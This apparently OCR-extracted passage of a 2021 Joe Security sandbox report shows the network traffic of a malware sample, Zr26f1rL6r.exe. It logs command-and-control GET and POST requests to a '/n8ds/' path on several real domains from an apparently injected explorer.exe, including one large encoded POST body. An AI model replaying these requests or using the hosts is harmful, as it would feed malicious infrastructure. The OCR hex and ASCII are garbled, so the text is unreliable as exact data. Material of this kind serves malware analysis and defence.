soVIgwF2bPwt4aJXGrsbTwdCho10YfkB-QtkFm0j8ZVyNMRMr80Hm6FqbgBTrzCIW4daOuleiatVnXIOfOWkNVK7gE
1(ayvOkXCVRrRpFtpjXW99j0S12ljinMK_il32a4mpXnkWwPFtOfugBaYkY_F8WOzt5GMXONTyCIVk85(2TO6Rv1bgo
t6wxm5KzGx0jY76000CoyTVOIkWL417C_TANXEse40bg3h-8
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Timestamp

Nov 25, 2021
13:00:58.957855940 CET

Session ID

2

Timestamp

Session ID

20

Timestamp

Nov 25, 2021
13:00:58.958116055 CET

Nov 25, 2021
13:00:58.969938040 CET

Session ID
21

Timestamp

Nov 25, 2021
13:01:15.913723946 CET

kBytes
transferred

6533

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

6534

6535

Source IP
192.168.11.20

kBytes
transferred

6719

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49840

Direction

Source Port

49836

Direction

ouT

Source Port
49838

Direction
ouT

Data

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 12:00:58 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d 0a 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 35 30 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69 6f 6e 2e 6f 6e 6¢ 69 6e 65 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa
20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d Oa 20 20 3c 62 6f 64 79 3e 0a 0d Oa 33 63 0d Oa 20 20 20 20 59 6f 75 20 61 72
65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69
6f 6e 2e 6f 6e 6¢ 69 6e 65 0a 0d 0a 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa
30 0d 0a 0d Oa

Data Ascii: 7<html>9 <head>50 <meta http-equiv="refresh’ content='5; url=http://www.inklusion.online/' />a </head>9
<body>3c You are being redirected to http://www.inklusion.onlinea </body>8</htmI>0

Destination IP Destination Port Process

107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Data

Destination IP Destination Port Process

3.64.163.50 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=4XwYGzmPDVH3THQXSPknmfdazTodAXDIHas2KNX7n/UXs4ghRUZWEGVKVmOhYsfSCvUh&vEMt=
3fxxA4Z HTTP/1.1

Host: www.inklusion.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 12:00:44 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6c 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e Oa 0d Oa 35 30 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69 6f 6e 2e 6f 6e 6¢ 69 6e 65 2f 27 20 2f 3e Oa 0d Oa 61 0d Oa
20 20 3c 2f 68 65 61 64 3e 0a 0d 0Oa 39 0d Oa 20 20 3c 62 6f 64 79 3e Oa 0d Oa 33 63 0d Oa 20 20 20 20 59 6f 75 20 61 72
65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69
6f 6e 2e 6f 6e 6¢ 69 6e 65 0a 0d Oa 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa
30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>50 <meta http-equiv="refresh’ content='5; url=http://www.inklusion.online/' />a </head>9
<body>3c You are being redirected to http://www.inklusion.onlinea </body>8</htm|>0

Destination IP  Destination Port Process
203.170.80.250 80 C:\Windows\explorer.exe

Data

POST /n8ds/ HTTP/1.1

Host: www.mackthetruck.com

Connection: close

Content-Length: 131142

Cache-Control: no-cache

Origin: http://www.mackthetruck.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.mackthetruck.com/n8ds/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 36 6¢ 64 44 3d 75 52 32 58 78 37 68 56 58 5f 62 50 4b 2d 6a 44 30 33 63 4a 50 36 55 43 79 75 38 56 4e 77 43
75 4f 2d 4d 41 46 6d 7e 32 35 31 7e 62 4e 35 52 4a 55 52 53 50 69 59 78 6d 4e 6f 4a 56 74 4c 55 67 30 7a 52 37 6a 75 53
7834 69 59 2d 47 52 42 47 59 72 63 2d 33 33 63 49 47 49 30 59 55 79 7e 6a 62 57 7a 70 7e 75 58 41 63 74 7a 4d 32 6¢
79 39 55 6¢ 30 38 28 4e 34 56 28 32 41 57 77 49 44 4c 62 35 7a 5f 53 31 34 37 66 71 45 34 6b 2d 56 4c 78 45 67 6a 49
4d 54 64 6d 36 71 6f 61 38 45 30 33 73 53 33 6f 71 72 6b 53 32 31 66 5a 57 47 50 61 68 41 58 53 34 53 42 58 46 58 52 6
b 64 7e 6a 61 6a 5a 41 7a 49 65 34 6e 43 47 68 77 64 35 42 32 64 52 74 65 37 6b 6a 69 78 4e 62 58 6a 53 54 58 52 4e
2d 68 71 37 43 44 50 78 46 6a 43 79 58 78 64 5a 75 77 5a 5a 46 58 32 6b 70 77 47 75 33 74 47 51 6b 51 7a 54 38 37 48
38 6e 71 61 61 65 75 65 34 65 73 52 4¢c 57 67 67 6a 74 79 37 68 52 34 65 47 46 44 76 54 48 28 31 75 78 43 53 51 63 30
58 64 34 44 54 47 32 64 62 59 4f 54 65 54 75 74 47 73 31 45 73 30 38 43 38 53 2d 39 6b 62 57 32 52 76 66 56 4f 50 74
4a 42 50 78 68 6f 48 4b 41 6a 4f 56 4e 52 46 67 4e 52 61 71 58 51 49 42 33 36 33 59 44 44 6¢ 39 73 4b 35 38 43 76 7e 66
58 36 42 63 31 37 4c 4c 38 5a 54 5f 7e 74 41 46 51 58 4c 64 63 73 79 56 70 6f 48 55 52 31 7e 50 31 62 6d 6f 75 32 6a 32
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kBytes
Timestamp transferred
Session ID Source IP
22 192.168.11.20
kBytes
Timestamp transferred
Nov 25, 2021 6726

13:01:16.189246893 CET

Copyright Joe Security LLC 2021

Direction

Source Port
49839

Direction

ouT

77 30 56 65 62 49 41 39 73 41 77 6d 73 77 44 43 69 4c 6t 78 48 76 6e 2d 64 6e 44 61 54 66 4t 4a 79 56 35 32 66 42 36 30
Z)%\tzf’ 45 43 76 74 6e 43 69 52 42 4d 59 58 54 55 51 6e 73 4a 5a 63 79 36 55 79 33 4e 4f 2d 62 62 71 2d 33 76 55 75 30
47 47 67 6d 6e 73 38 53 55 36 68 6f 57 36 52 4c 56 48 39 6a 4e 28 75 44 51 65 30 52 6d 38 58 7a 41 41 61 63 5a 4d 4a
51 61 49 31 43 73 68 65 76 46 34 6¢ 34 65 30 69 39 42 4d 4f 47 59 5a 59 50 67 38 5a 47 6f 64 72 50 6f 32 4d 77 4b 6a 33
70 65 64 49 4c 31 5a 30 32 76 44 37 44 57 31 77 68 54 44 4e 6¢ 7a 7a 6f 6a 50 46 66 66 79 32 74 6a 75 57 72 76 48 57
4277 2d 4c 76 78 6d 72 39 64 42 34 53 4b 78 62 43 57 6e 4d 51 31 45 6e 72 6f 5f 78 6¢ 58 6¢ 4a 59 4c 69 7a 50 68 49 65
69 6e 44 76 44 59 6a 4a 6e 32 38 43 5a 49 45 30 43 32 53 41 52 77 2d 57 39 69 49 55 68 78 57 47 68 6f 75 38 77 31 7a
39 6f 4d 76 32 5f 53 46 4e 74 72 34 69 6e 38 46 52 41 5a 4f 6d 74 59 42 57 6d 30 6b 53 45 63 73 48 50 33 71 31 4e 6d 33
756954 4b 73 36 57 30 7e 6e 73 67 63 61 72 66 48 54 74 6a 37 2d 70 4a 63 41 7e 68 6f 41 49 43 58 38 44 6b 36 61 7a
7a 77 32 56 38 4b 42 47 6d 76 51 6¢ 6b 31 64 74 61 68 44 39 6b 35 4c 4a 76 54 70 76 44 47 71 76 4d 39 52 72 41 47 4b 4
6 4d 38 71 56 42 30 50 4b 4c 4b 58 6a 34 47 45 68 6f 58 67 62 45 7a 39 46 33 6b 4f 5a 36 4b 56 34 50 79 45 28 6¢ 6a 4c
48 45 6a 5a 32 76 4a 48 69 4f 30 69 5a 55 4b 57 63 67 67 50 7a 76 74 71 51 35 49 57 58 53 38 38 4c 6d 72 75 64 53 44
59 74 33 76 52 4c 36 54 58 77 30 54 7a 33 2d 63 6b 6a 47 53 53 57 63 63 35 4¢ 67 62 75 63 45 43 58 4a 6e 6f 59 74 42
3058 76 78 43 52 69 68 62 37 33 34 30 4c 6f 56 6¢ 4c 48 73 4b 67 50 4c 79 43 53 48 46 36 6¢ 4d 28 70 41 53 63 6e 7e 55
51 39 78 37 48 79 37 45 34 58 7e 44 36 58 34 38 71 42 4e 51 64 4d 73 59 64 71 64 38 68 59 51 61 63 33 51 36 41 44 6b
5a 59 66 53 63 58 52 52 6d 58 4f 38 34 45 6a 59 67 4a 63 4c 69 45 31 71 6b 44 39 48 4b 70 39 41 57 78 7a 4c 68 5a 48
7039 62 30 61 58 49 56 65 79 5a 50 39 6d 58 5a 74 64 6a 4c 4c 73 28 4f 34 39 75 77 41 4a 43 69 54 36 78 4b 46 68 69
3864 76 44 62 6d 53 35 58 52 4d 4b 67 66 67 50 34 62 65 38 4c 71 6d 33 5f 4e 76 6b 3237 62 50 7a 7557 28 74 48 71
4a 54 7334 30 49 3849 79 76 78 77 38 6e 67 67 47 76 53 5f 56 71 75 49 78 69 4c 69 53 53 57 48 35 79 77 4b 58 64 4a
56 66 77 75 50 71 56 54 45 6d 6b 4e 33 7a 31 73 34 33 4b 71 76 7e 49 58 5f 58 6a 6d 54 52 47 76 51 42 70 66 69 4d 77
49 69 69 73 68 62 62 77 65 42 59 79 54 43 7e 6b 4f 75 32 6b 38 68 67 64 57 67 4d 30 63 46 28 6a 4d 2d 45 75 63 64 52
4e 48 51 44 51 44 49 6f 54 5a 44 4f 71 56 54 50 58 77 63 77 55 4e 49 7e 55 78 58 55 45 5a 42 56 42 59 41 64 58 41 4b 6
a 305758 4b 32 74 68 71 35 64 6a 4e 70 4f 4b 50 33 71 77 52 64 35 51 4d 56 52 37 43 31 5a 7a 36 4b 55 59 6d 39 69 6b
77 62 7562 41 73 65 77 6f 70 5a 35 28 55 31 79 77 77 7a 41 6b 79 74 48 38 52 69 62 73 4b

Data Ascii: 6ldD=uR2Xx7hVX_bPK-jD03cJP6UCYu8VNwCuO-MAFmM~251~bN5RIJURSPIYxmNoJVtLUgOZR7juSx4iY-
GRBGYrc-33clGI0YUy~jbWzp~uXActzM2ly9UIO8(N4V(2AWwIDLb5z_S147fqE4k-VLXEgQjIMTdm6qoa8E03sS30qrkS21fZ
WGPahAXS4SBXFXRkd~jajZAzle4AnCGhwd5B2dRte7kjixNbXjSTXRN-hq7 CDPxFjCyXxdZuwZZFX2kpwGu3tGQkQzT
87H8ngaaeuedesRLWggjty7hR4eGFDVTH(1uxCSQc0Xd4DTG2dbYOTeTutGs1Es08C8S-9kbW2RvfVOPtIBPxhoHKA
JOVNRFgNRagXQIB363YDDI9sK58Cv~fX6Bc17LL8ZT_ ~tAFQXLdcsyVpoHUR1~P1bmou2j2w0VeblO9sOwmswDCiLo
xHvn-dnDoTfOJyV52fB60gsECvtNnCiIRBMYXTUQnsJZcy6Uy3NO-bbg-3vUu0GGgmns8SUBhoW6RLVHIN(uDQeORm8
XzAAacZMJQallCshevF414e0i9BMOGYZYPg8ZGodrPo2MwKj|3pedIL1Z02vD7DW1whTDNIzzojPFffy2tjuWrvHWBw-
Lvxmr9dB4SKxbCWnMQ1Enro_xIXIJYLizPhleinDvDYjJn28CZIEOC2SARW-W9ilUhxWGhou8w1z90oMv2_SFNtrdi
n8FRAZOmtY BWmOkSEcsHP3q1Nm3uiTKs6WO0~nsgcarfHTtj7-pJcA~hoAICX8Dk6azzw2V8KBGmvQlkldtahDIk5LJ
VTpvDGqVMIRrAGKFM8qVBOPKLKXj4GEhoXghEz9F3kOZ6KV4PYE(liLHEjZ2vIHIO0iZUKWcggPzvtqQ5IWXS88Lmr
udSDYt3VRLETXwOTz3-ckjiGSSWec5LgbucECXJInoYtBOXvXCRihb7340LoVILHsKgPLYyCSHF6IM(pAScn~UQ9x7Hy7
E4X~D6X480qBNQdMsYdqd8hYQac3Q6ADKZYfScXRRmMXO84EjYgJcLiE1qkDIHKpIAWXzLhZHpOb0aXIVeyZPImXZtd]
LLs(0O49uwAJCiT6xKFhi8dvDbmS5XRMKgfgP4be8Lgm3_Nvk27bPzuW(tHgJTs4018lyvxw8nggGvS_VquixiLiSSW
H5ywKXdJIViwuPqVTEmMkN3z1s43Kqv~IX_XjmTRGvQBpfiMwliishbbweBYyTC~kOu2k8hgdWgMOcF(jM-EucdRNHQD
QDIoTZDOqVTPXwcwUNI~UXXUEZBVBYAdXAKjOWXK 2thq5djNpOKP3qwRd5QMVR7C1Zz6KUYm9ikwbubA
sewopZ5(UlywwzAkytH8RibsKcEmA32gWPRY cjmrePvorvebbhfBrXFXy994PUj1QSBttvtwJDpiAWIU4AXYEQVevxW
wiOCwPdu-EZZ5KvKxeTz85fLBoquGm2PYkKAVBd-m62EUyI0dtcPOKFHW6E7FcnrdYtYMngHIOo(wDSm4isGlva5HRgh
12CqlG8fHObMaHQGtkDJboegdsu63dYd8YjVq6ITKZqg_gqzESLquTh4eW9qlfiG8x652xZaqyuPc3R8cC2aZ3uYg7(
hL7bO11UbVVSL962MXHmMN7U8-4j2pBbyNjbJEK _LQzIZfRDx2m51YFK8EOa8IFBfYXqVfZLGrOZuDGJoVVkmqlk4Qw
8wUgQk87gFENk(CYnlkCagcamOb~czXDWOEyYH(f7oYxIEfaWQsocrRXO6xjxloakKNGsF-DC~-bppdBykgumTy62Ibd
40FPIHIeAERWYhp972DmfmV2CfZFZ0ntbVhzianOMqdzkGh~cyHyOarfQHp TNOtKFHgINIprUO5ROfSgBGpcJOUAY)
QA3IUQRLT99ZkyxqAF8L11vzglotKZpxthLIEUBKINQk60JigNrfwtwxrdCC4zzLOY_jey7HYydE92gvrSE2eKRX9V
hHgTWNOTDz3DLydvHa0M8Pf71y9JZra7QWPgmIMGraM6Cyto2wQaVVvLgoZdtokptN8IIAciKg7k91FAGW6a63iApD
ik1LFeXSglfQ-INfC2s0tW_Pm7T6PfCI0~kZQdSgLVtOWN_ZIqT4mjMjBxJJymT7JodskrLQz6P5alFZpIXgPVI7js
eSRDthBPt1ccUGVBJEhFZ11vOHHXtaj4cJ2ruiNbM2cozZ3weryWvZkey6d_2jPqvigWCwV-G0qB8ISM20pMijtZLIyt
E9aupOPN3E69QszL6F8WFTX6ITYXu670hgO1x71nArfFAj61piOfYVXGJIKLE-SC3_7syo7wZeWeO3Yyso7kVZE2v7V
4p7RjnSQbbgLOQ-VOvLc-hrhRVHPXF2VitHitf69tigyU2fML1Yt1mBMu(FTDGUEqCMXX]SfQPilv5G5dLt7PL7ctu
Ek2mfvaaGLKL_2Af9kPTCagGBEy7ufzjyTHUEZ-7u7ufBdyQrNT(OPNSQWVyY1r9g6KpvO3QMc2_LEjvNYGDXEH5AqH
gqxeeoJTDReHRPFXKH5_Wf8kBUITV05qu2ZkbhyolLOmKZ415Jro711112bYh0gX5(w6VIJiCyt2LvV7NtdIC(MZDYkZ
1g8WuC_TBW5uK810z2gww5IPC8nrQNAuf(1Dig2pXAY7z7Y8mCLTvhsOeXqgPapFav972k509SoH7ely7UWZMCg8svp
EB_PRLP5KrhRj~cacnNtjhUMOCwCZsTORgptVdSWrOabTiDPaZ2moVvr4QvVDmaCOAa81VDh5pcl DefoCaAZNhiyUk
I(BemobAKvavXBelEc7B_uhtPggn5B16IKQO2leOKtNdddb8kz9TH1KpAWXIBhFTRVd9kbd-zHDVGrK GdHQV7k7rc
J~IrTdGwulVWaz2MrkdAawZNHDZAK9C2e(1wMhSdI8G6MVDSnokRjKVJIBwjpVPtIhO8ugqDL7XjSxLelz51dYQmoWLx
DztjGAzvA4UjTpgHQI4x5X4Qk~vn17w7FRqzfKE2nknbg9GzdLgoBwD(4AnYjmy1RWte5DAHWMjwysDLfIIW2TG6XDhK-
hmn7awlYWZ28kG4L5KvHmMhAt8nDT1wFaABXVV(ABONVEMP2nLZUnT3ghD(dw_eKo0JJ23sqtsbNtb2(bOunzPut
eal.HouqefZ7(5uIN49BPZIQaU1FAZz3ZHzmmijrlOgrfuvtyg9gXVpvZNhS1X~6V6L_4f(IUyL4yOiTFIbIBINFX7hAZ
R5j(zZzObC0~wjXe2zDPYOCTPYiphE8BShAqOxZw50TOIHI50DRXAgDfMKOMSSYIVASOTIQs3YGs-lInLBLsrcQ71gb(vjID-
dP(jB9T_7hRsVpVSWKelRkNTIwydg_QDpOLASHLsMTMIPOZPP5SiKS47AdQjLRdASby5TiK~nlyyfS4x0fDFSNZbSGIq9Z
4128kvQnYQrNbWRAXLAWIB]KTR26_rNbel_ky673nZtM6BT719Kfa(Kph3LpgC83soLtFpeFh8EF4UmMzQQivdRvKi|L
4jhlsWsphoa3fleLnxok 1EEwJ(cxiy2QkwY4n5MBbKSHIV_voB2wFb6dADzWc60a_bINyjM~DoQ9GNIZe29biXwpPy
01kRJy55Nj9RmJIcNEIdYwmRavQ5mbagbay9rhpwX0-PTp4HuqtSiXa4hPgNy9lyRSDmEa_gUX4(K3K1fi6flAIXNUcO
Sma9Udp2caHPCtilyUOEjaYIrMSEnJFi4NDk_wEIzRnill8eBgg7EIXhN7yMb7FiBaUdu08c_D30gMd4VdXW_unlbg
ZjcQWTKYFSdY2EoLUo02VyEWQq6LO0(Ic67f9QF6cywnv5giglodXc4nnv5LT31aJCWAL2F4AT70Mdt01IMcBeW5zU7ZZ7w
KwMyMhB9yDF2uAEsCulb-OW4xgGCMtX6gD6memEQ_TV6GIxe4(QjkjshqUtKOlryOKh(tnq5Szg6yWr2YgVhnoddSV
tTa56PY2R6IcMIP~Vpkta3iPy7LShLTF67PfZ06 Tn4JXF~QhsVOUye7w6s-HBDfdLgdGKXKocpR0Oev0i5SxRZ48wru
3ghDR7Ju6Fbku9NdFi8KOe9vUv50PngkjsOno(

Destination IP Destination Port Process
203.170.80.250 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=hTCtvfIBK6Lgcsnz9iNzW/omO0skZHj2xUOZ9QRylykKuA9BOdz3gmP8oX5t0meM3+FVL&EMt=
3fxxA4Z HTTP/1.1

Host: www.mackthetruck.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Session ID Source IP

3 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

4 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6421

12:56:13.220035076 CET

Nov 25, 2021 6422
12:56:13.382391930 CET

Session ID Source IP

5 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6423

12:56:28.546938896 CET

Copyright Joe Security LLC 2021

Source Port

49841

Direction

Source Port

49815

Direction

ouT

Source Port
49816

Direction
ouT

Destination IP Destination Port Process

107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Data

Destination IP Destination Port Process

104.21.76.223 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=WOFmZk82z8UpNC4mY/AvD/Zy3CINxITUz/ym6JpmI0OLbMg439xvRHQoxZAIOCyCIZ92f&v6Mt=
3fxxA4Z HTTP/1.1

Host: www.topwowshopping.store

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 25 Nov 2021 11:56:13 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

cache-control: no-cache, no-store, must-revalidate,post-check=0,pre-check=0

expires: 0

last-modified: Thu, 25 Nov 2021 11:56:13 GMT

pragma: no-cache

vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVreport\\v3?s=wftVfpJA1zZIwjRaaheNSQN%2B47kW8N
UpVPnztY9X9CDRJIcJIK3cSrWrr%2Fkh120U%2BPDjaHHxgPOGgNMJIdKZBB2VmnTOIRI%2FV3g8s4dK2XbZbitRDgmmA
xJtUHBGJKUUJ1RfXt9WyadqG7IXv0%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6b3ab146a9874e37-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 64 0d Oa 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d Oa

Data Ascii: d404 Not Found

Destination IP Destination Port Process
81.2.194.128 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=c2GcPcxTICn2LTXtZIkaUw2pSxcw64fMIrFLz4vK/kX5/sVAgoQGq8HC2c+bDUK23KGmM&v6Mt=
3fxxA4Z HTTP/1.1

Host: www.growebox.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred Direction

Nov 25, 2021 6425 IN
12:56:28.576894045 CET

Session ID Source IP Source Port

6 192.168.11.20 49817
kBytes

Timestamp transferred Direction

Nov 25, 2021 6427 ouT

12:56:34.061800957 CET

Nov 25, 2021 6428 IN
12:56:34.717901945 CET

Session ID Source IP Source Port

7 192.168.11.20 49818
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Data

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 11:56:28 GMT

Server: Apache

Content-Length: 3011

Connection: close

Content-Type: text/html

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54
4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6¢ 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64
3e 0d Oa 3c 74 69 74 6¢ 65 3e 54 68 65 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 69 73 20 72 65 67 69 73 74 65 72 65 64
3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e
6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 3e 0d Oa 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f
6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d
77 69 6e 64 6f 77 73 2d 31 32 35 30 22 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e
22 20 63 6f 6e 74 65 6e 74 3d 22 46 4f 52 50 53 49 20 6a 65 20 45 76 72 6f 70 73 6b el 20 68 6f 75 73 69 6e 67 6f 76 el
20 7370 6f 6¢ 65 €8 6e 6f 73 74 2e 20 4e 61 62 ed 7a ed 20 73 6¢ 75 9e 62 79 20 77 65 62 68 6f 73 74 69 6e 67 75 2c 20
736572 76 65 72 68 6f 73 74 69 6e 67 75 2c 20 72 65 67 69 73 74 72 61 63 65 20 64 6f 6d €9 6e 6f 76 fd 63 68 20 6a 6d
65 6e 20 61 20 77 77 77 20 73 74 72 el 6e 6b 79 20 6e 61 20 73 65 72 76 65 72 65 63 68 20 57 69 6e 64 6f 77 73 2f 4c
69 6e 75 78 2e 22 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 2
266 6f 72 70 73 69 2c 77 65 62 68 6f 73 74 69 6e 67 2c 64 6f 6d €9 6e 61 2c 64 6f 6d €9 6e 79 2c 68 6f 73 74 69 6e 67 2c
736572 76 65 72 2c 73 65 72 76 65 72 68 6f 73 74 69 6e 67 2c 68 6f 75 73 69 6e 67 2c 73 65 72 76 65 72 68 6f 75 73 69
6e 67 2c 61 64 73 6¢ 2¢c 77 69 66 69 2c 77 69 2d 66 69 2c 64 6f 6d 61 69 6e 2c 64 6f 6d 61 69 6e 73 22 3e 0d Oa 3c 73 74
79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d Oa 3c 21 2d 2d 0d Oa 68 74 6d 6¢ 2c 20 62 6f 64 79 20 7b
0d 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0d Oa 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d Oa 09 68 65 69 67 68
74 322031303025 3b0d0a09 6261 636b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 33 32 35 34 39 63 3b 0d Oa 7d
0d Oa 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d Oa 09 77 69 64 74 68 3a
2031 3030253b0d0a 09 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d Oa 7d 0d Oa 23 62 6f 78 20 7b
0d 0a 09 77 69 64 74 68 3a 20 35 32 30 70 78 3b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d Oa
09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 09 74 6f 70 3a 20 31 36 30 70 78 3b 0d Oa 09 62 6f 72 64 65 72 3a
2034 70 78 20 73 6f 6¢ 69 64 20 23 63 63 63 63 63 63 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20
23 46 46 46 46 46 46 3b 0d Oa 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6¢ 28 69 6d 67 2f 6¢C 6f 67
6f 5f 66 6f 72 70 73 69 2e 67 69 66 29 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72
65 70 65 61 74 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 6¢ 65 66 74 20 74 6f 70 3b Od
0a 09 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d Oa 09 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 20 3a 20 56 65 72 64 61 6e
61 2c 2041 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d Oa 09 66 6f 6 74 2d
73 69 7a 65 3a 20 31 34 70 78 3b 0d Oa 09 63 6f 6¢ 6f 72 3a 20 23 33 38 35 30 36 62 3b 0d Oa 7d 0d Oa 23 62 6f 78 32 20
7b 0d 0a 09 77 69 64 74 68 3a 20 35 32 30 70 78 3b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d
0a 09 6d 61 72 67 69 6e 3a 20

Data Ascii: <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><htmI><head><title>The domain name
is registered</titte><meta name="robots" content="noindex, nofollow"><meta http-equiv="Content-Type" content="t
ext/html; charset=windows-1250"><meta name="description" content="FORPSI je Evropsk housingov spolenost. Nabz
sluby webhostingu, serverhostingu, registrace domnovch jmen a www strnky na serverech Windows/Linux."><meta na
me="keywords" content="forpsi,webhosting,domna,domny,hosting,server,serverhosting,housing,serverhousing,adsl,wifi,wi-
fi,domain,domains"><style type="text/css">...html, body {margin: Opx;padding: Opx;height: 100%;background-color:
#32549c; }#container {height: 100%;width: 100%;text-align: center;}#box {width: 520px;position: relative;margin: 0 auto;top:
160px;border: 4px solid #ccccee;background-color: #FFFFFF;background-image: url(img/logo_forpsi.qgif);background-repe
at: no-repeat;background-position: left top;padding: 20px;font-family : Verdana, Arial, Helvetica, sans-serif;font-size:
14px;color: #38506b;}#box2 {width: 520px;position: relative;margin:

Destination IP  Destination Port Process
164.155.212.139 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=XGdb25Y748Ut0VrvAGrAV9TZskQ8Vhp7eMrkuH6IQS7YMNVmMEhdbMrp7c3mVgl54ue/4&vE6Mt=
3fXxA4Z HTTP/1.1

Host: www.ayudavida.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Moved Temporarily
